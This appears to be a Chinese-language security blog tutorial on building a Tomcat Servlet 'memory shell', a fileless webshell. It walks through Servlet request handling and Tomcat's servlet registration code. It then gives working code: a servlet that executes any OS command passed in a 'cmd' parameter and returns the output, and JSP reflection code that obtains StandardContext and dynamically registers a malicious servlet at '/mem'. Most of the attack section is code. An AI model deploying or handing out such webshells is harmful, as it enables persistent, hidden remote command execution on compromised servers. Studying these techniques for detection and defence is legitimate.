Servlet内存马
前置基础
什么是Servlet
Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层
它在应用程序中的位置如下图所示,很类似于中间件

Servlet请求处理过程
客户端发起http请求,比如get类型
Servlet容器接收到请求,根据请求信息,封装为HttpServletRequest
和HttpServletResponse
对象,这就是我们的传参
Servlet容器调用HttpServlet
的init方法,init方法旨在第一次请求时被调用
Servlet容器调用service
方法
service
方法根据请求类型(这里为get请求),分别调用doGet
或者doPost
方法,这里我们调用doGet
方法
doXXX
方法中是我们自己写的业务逻辑
业务逻辑处理完成,返回给Servlet容器,然后容器将结果返回给客户端
容器关闭时,会调用destory
方法
环境配置
我们首先需要创建一个JavaWeb项目
- JDK8u65
- 在pom.xml中导入tomcat的包
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.61</version> </dependency>
|
分析
Servlet接口分析
我们可以看一下Servlet接口中有哪些方法,每个方法的作用如下
1 2 3 4 5 6 7 8 9 10 11
| public interface Servlet { void init(ServletConfig var1) throws ServletException;
ServletConfig getServletConfig();
void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;
String getServletInfo();
void destroy(); }
|
如果说我们需要在一个地方中写入恶意代码,那么应该是需要写在service
方法中
小demo
接下来我们去构造一个恶意Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader;
public class ServletTest implements Servlet { @Override public void init(ServletConfig config) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd !=null){ try{
Process process = Runtime.getRuntime().exec(cmd); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine()) != null){ res.getWriter().println(line); } }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} }
|
web.xml中配置如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet> <servlet-name>myServlet</servlet-name> <servlet-class>ServletTest</servlet-class> </servlet>
<servlet-mapping> <servlet-name>myServlet</servlet-name> <url-pattern>/myServlet</url-pattern> </servlet-mapping> </web-app>
|
将tomcat运行起来后,访问[http://localhost:8080/myServlet?cmd=whoami](http://localhost:8080/myServlet?cmd=whoami)
,成功执行命令并回显

注册流程分析
tomcat解析xml文件的具体流程在这里不分析,我们直接看到解析xml文件后做注册的地方ContextConfig#configureContext
注册大概流程如下
- 创建一个wrapper
- 设置servlet的名字
- 设置servlet相关联的类
- 将wrapper加入到context中
- 配置路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| private void configureContext(WebXml webxml) { ...... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); MultipartDef multipartdef = servlet.getMultipartDef(); if (multipartdef != null) { long maxFileSize = -1; long maxRequestSize = -1; int fileSizeThreshold = 0;
if(null != multipartdef.getMaxFileSize()) { maxFileSize = Long.parseLong(multipartdef.getMaxFileSize()); } if(null != multipartdef.getMaxRequestSize()) { maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize()); } if(null != multipartdef.getFileSizeThreshold()) { fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold()); }
wrapper.setMultipartConfigElement(new MultipartConfigElement( multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold)); } if (servlet.getAsyncSupported() != null) { wrapper.setAsyncSupported( servlet.getAsyncSupported().booleanValue()); } wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); } for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } ...... }
|
启动服务时走入该方法后,即可看到有两个自带的servlet和我们自己配置的serlvet

实现
实现条件
要实现内存马,有两个条件
- 写一个servlet木马
- 将servlet注册入tomcat中
写servlet马
我们仿照默认的Servlet来写一个恶意类,使我们的主机弹计算器即可(jsp中定义东西需要使用**<%! %>**)
若有需要,可以自行实现回显木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <%! public class HelloServlet extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { Runtime.getRuntime().exec("calc"); }
public void destroy() { } } %>
|
动态注册servlet
动态注册中分为两步
- 获取standardcontext
- 注册进tomcat
获取standardcontext
在jsp中默认有一个request对象,这个对象中存在一个getServletContext
方法,会获取一个servletContext
在动态调试中,我们可以看到,servletContext中存在一个ApplicationContext
,而在ApplicationContext中即存在着standardcontext
,是我们想要获取的对象

接下来我们就要通过servletContext
来获取standardcontext
由于私有属性无法直接被获取,所以我们要通过反射特性来获取属性
1 2 3 4 5 6 7 8 9 10
| <% ServletContext servletContext = request.getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);
Field standardContext = applicationContext.getClass().getDeclaredField("context"); standardContext.setAccessible(true); StandardContext context1 = (StandardContext) standardContext.get(applicationContext); %>
|
注册进tomcat
注册进tomcat就和下面分析的流程是一样的,但不需要加多余的判断等东西
需要注意,注册的过程中多一个实例化Servlet并setServlet的步骤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <%
ServletContext servletContext = request.getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);
Field standardContext = applicationContext.getClass().getDeclaredField("context"); standardContext.setAccessible(true); StandardContext context1 = (StandardContext) standardContext.get(applicationContext);
Wrapper wrapper = context1.createWrapper(); wrapper.setName("MemServlet"); wrapper.setServletClass(MemServlet.class.getName()); wrapper.setServlet(new MemServlet());
context1.addChild(wrapper); context1.addServletMappingDecoded("/mem","MemServlet"); %>
|
激活
想要访问内存马,就要访问我们创建的jsp文件,创建恶意类与servlet并注册进tomcat中

然后即可访问我们所设定的内存马路径,触发恶意代码
